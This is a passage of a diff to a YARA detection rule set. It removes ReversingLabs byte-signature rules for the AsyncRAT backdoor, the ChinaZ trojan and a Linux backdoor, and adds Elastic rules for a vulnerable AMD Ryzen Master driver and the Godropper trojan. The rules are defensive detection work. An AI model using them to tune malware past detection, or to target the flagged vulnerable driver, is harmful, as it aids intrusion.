-            4C 89 FE 48 8D 0C 13 C6 04 08 ?? 89 D1 48 01 C2 F3 A4 48 89 D7 48 89 EE 48 89 D9 44
-            89 F2 F3 A4 48 89 C6 EB ?? 8D 7B ?? 48 63 FF E8 ?? ?? ?? ?? 89 DA 49 89 C5 48 89 EE
-            4C 89 EF E8 ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 4C 89 EE 44 89 E7 48 63 D0 41 B8 ?? ??
-            ?? ?? 31 C9 E8 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3
-        }
-		$notify_server = {
-            48 81 EC ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 48 89 E0 85 D2 7E ?? BE ?? ?? ?? ?? 89 D1 48
-            89 E7 F3 A4 48 63 D2 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 8D 04 10 41 B9 ?? ?? ?? ?? 48
-            83 C2 ?? 4C 89 C7 41 B8 ?? ?? ?? ?? F3 A4 8B 3D ?? ?? ?? ?? 48 89 C6 E8 ?? ?? ?? ??
-            8B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
-        }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 52 00 79 00 7A 00 65 00 6E 00 4D 00 61 00 73 00 74 00 65 00 72 00 44 00 72 00 69 00 76 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x05][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x04][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		uint32(0)==0x464C457F and ($switch_server) and ($get_hostname) and ( all of ($start_server_p*)) and ($send_encrypt) and ($notify_server)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Asyncrat : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Vulndriver_Ryzen_9B01C718 : FILE
 {
 	meta:
-		description = "Yara rule that detects AsyncRAT backdoor."
-		author = "ReversingLabs"
-		id = "78ff36e1-1620-50f4-8abd-adcf8b1242da"
-		date = "2024-05-22"
-		modified = "2024-05-22"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara#L1-L149"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "53a13975cd53b571910f951adc44707c11b86c003eeb7b88dbe701253645ac89"
+		description = "Name: AMDRyzenMasterDriver.sys, Version: <= 1.7.0.0"
+		author = "Elastic Security"
+		id = "9b01c718-ba36-4642-b27d-e9310d05d8a5"
+		date = "2023-01-22"
+		modified = "2023-06-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Ryzen.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bb82d8c29127955d58dff58978605a9daa718425c74c4bce5ae3e53712909148"
+		logic_hash = "5734f6a249656f22a2a363b42ae77b5e6b7673bc96bad34b04b1be7f2b584b08"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "AsyncRAT"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE"
+		fingerprint = "18ad3df5ae549dddbe1f6f33db534b4fcfc603e0863f8262a8cb9c166a16af67"
+		threat_name = "Windows.VulnDriver.Ryzen"
+		severity = 49
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$read_server_data_v1 = {
-            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 28 ??
-            ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0A 06 16 3E ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 06 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 6A 59 28 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 3A ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6A 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 16 6A 3E ?? ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? ?? ??
-            ?? 69 6F ?? ?? ?? ?? 0B 07 16 3D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 07 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6A 59 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 16 6A 3C ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 30 ??
-            14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 16 6A 28 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 38 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 3C ?? ?? ?? ?? 16
-            28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ??
-            ?? ?? ?? 69 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 38 ?? ??
-            ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD
-        }
-		$send_v1 = {
-            28 ?? ?? ?? ?? 0A 16 0B 06 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DD ??
-            ?? ?? ?? 02 8E 69 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ??
-            ?? ?? 08 16 08 8E 69 6F ?? ?? ?? ?? 02 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? 02 73 ??
-            ?? ?? ?? 0D 16 13 ?? 09 16 6A 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 38
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25
-            13 ?? 16 30 ?? DD ?? ?? ?? ?? 09 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ??
-            15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ??
-            06 28 ?? ?? ?? ?? DC
-        }
-		$read_packet_v1_p1 = {
-            73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 02 74 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B
-            07 28 ?? ?? ?? ?? 0C 08 20 4F 01 89 64 42 ?? ?? ?? ?? 08 20 7A 39 BA 13 42 ?? ?? ??
-            ?? 08 20 D4 CA CD 0C 3B ?? ?? ?? ?? 08 20 7A 39 BA 13 3B ?? ?? ?? ?? 38 ?? ?? ?? ??
-            08 20 2B C2 32 1B 3B ?? ?? ?? ?? 08 20 E2 A2 F4 57 3B ?? ?? ?? ?? 08 20 4F 01 89 64
-            3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 08 20 5A 15 79 D9 42 ?? ?? ?? ?? 08 20 B7 16 DB 7A 3B
-            ?? ?? ?? ?? 08 20 39 20 3F B2 3B ?? ?? ?? ?? 08 20 5A 15 79 D9 3B ?? ?? ?? ?? 38 ??
-            ?? ?? ?? 08 20 1E CA D2 DC 3B ?? ?? ?? ?? 08 20 45 FD B6 E0 3B ?? ?? ?? ?? 08 20 D0
-            5E 9B FA 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
-        }
-		$read_packet_v1_p2 = {
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 ??
-            ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
-            16 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 7B ??
-            ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ??
-            06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 ??
-            6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 12 ?? (FE | 16) ?? ?? ??
-            ?? ?? 6F ?? ?? ?? ?? DC 73 ?? ?? ?? ?? 26 06 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ??
-            73 ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ??
-            7E ?? ?? ?? ?? 25 3A ?? ?? ?? ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? 73
-        }
-		$send_v2 = {
-            7E ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 16 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ??
-            ?? ?? ?? 39 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 8E
-            B7 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 08 16 08 8E B7
-            6F ?? ?? ?? ?? 06 07 16 07 8E B7 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 17 6F ?? ?? ?? ??
-            26 7E ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? B7 16 14 (FE | 06) ?? ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC DE ??
-            25 28 ?? ?? ?? ?? 0D 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C ?? 11 ??
-            28 ?? ?? ?? ?? DC
-        }
-		$open_url_v2 = {
-            03 39 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 20 00 0C 00 00 28 ?? ?? ?? ?? 20 0F 27 00 00 28
-            ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 02 28 ?? ?? ?? ?? 74 ?? ?? ??
-            ?? 0A 06 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 7E ?? ?? ?? ?? 8E B7 6F ?? ?? ?? ?? 9A 6F ??
-            ?? ?? ?? 06 17 6F ?? ?? ?? ?? 06 20 10 27 00 00 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 0B DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC
-            2B ?? 02 28 ?? ?? ?? ?? 26
-        }
-		$monitoring_v2 = {
-            73 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ??
-            11 ?? 9A 0B 08 07 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 28 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E B7 32 ?? 1F ?? 0A 38 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0D 09 6F ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 2C ?? 2B ?? 08 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 (FE | 07) ?? ?? ?? ?? ??
-            73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 1F ?? 31 ?? 16 0A 72 ?? ?? ?? ?? 09 6F ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 D6 13 ??
-            11 ?? 11 ?? 8E B7 32 ?? 06 17 D6 0A 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 3A
-        }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 52 00 79 00 7A 00 65 00 6E 00 4D 00 61 00 73 00 74 00 65 00 72 00 44 00 72 00 69 00 76 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x07][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x06][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		uint16(0)==0x5A4D and ((($read_server_data_v1) and ($send_v1) and ( all of ($read_packet_v1_p*))) or (($send_v2) and ($open_url_v2) and ($monitoring_v2)))
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $original_file_name and $version
 }
-rule REVERSINGLABS_Linux_Trojan_Chinaz : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Godropper_Bae099Bd : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects ChinaZ trojan."
-		author = "ReversingLabs"
-		id = "f99c224b-db54-5cae-b5fb-8939ebee3250"
-		date = "2024-07-31"
-		modified = "2024-07-31"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Linux.Trojan.ChinaZ.yara#L1-L246"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d8d08f4f3f36ecc7b219b6b1aae3c76d26e8fb3a44444763929190c6124532ff"
+		description = "Detects Linux Trojan Godropper (Linux.Trojan.Godropper)"
+		author = "Elastic Security"
+		id = "bae099bd-c19a-4893-96e8-63132dabce39"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Godropper.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "704643f3fd11cda1d52260285bf2a03bccafe59cfba4466427646c1baf93881e"
+		logic_hash = "ef6274928f7cfc0312122ac3e4153fb0a78dc7d5fb2d68db6cbe4974f5497210"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "ChinaZ"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "5a7b0906ebc47130aefa868643e1e0a40508fe7a25bc55e5c41ff284ca2751e5"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$collect_system_information_32_p1 = {
-            55 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ??
-            ?? 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 31 C9 89 C6 8D 44 24 ?? 31
-            FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 24 ?? 11 D3 C7 44 24 ?? ?? ?? ??
-            ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ??
-            29 F1 19 FB 31 ED 2B 44 24 ?? 89 4C 24 ?? 8D B4 24 ?? ?? ?? ?? 89 5C 24 ?? 89 F7 69
-            C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24
-            ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B
-            5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ??
-            8D 9C 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1
-        }
-		$collect_system_information_32_p2 = {
-            C7 04 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89
-            DF B1 ?? F3 AB 89 DF 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 C7 44 24 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 54 24 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 F7 C7 44 24 ?? ?? ?? ?? ?? 89 D0
-            C1 F8 ?? C1 E8 ?? 01 D0 C1 F8 ?? 89 44 24 ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C2 A1 ?? ?? ??
-            ?? 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 DF B1 ?? F3
-            AB 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 0F
-            85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D
-            C3
-        }
-		$send_system_info_32 = {
-            57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
-            89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            0F 31 31 C9 89 C6 8D 44 24 ?? 31 FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44
-            24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ??
-            8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 29 F1 19 FB 2B 44 24 ?? 89 4C 24 ?? 89 5C 24 ?? 69
-            C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24
-            ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B
-            5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ??
-            C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F C3
-        }
-		$parse_c2_commands_32 = {
-            55 31 C0 57 B9 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 0F B6 94 24
-            ?? ?? ?? ?? 89 DF F3 AB C7 04 24 ?? ?? ?? ?? 88 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 83 E0 ?? 89 84 24 ?? ?? ?? ?? 90 A1 ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 89 74 24 ??
-            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F
-            84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ??
-            ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB
-            8D B4 24 ?? ?? ?? ?? B0 ?? 8D BC 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? B1 ?? F3 A5 89
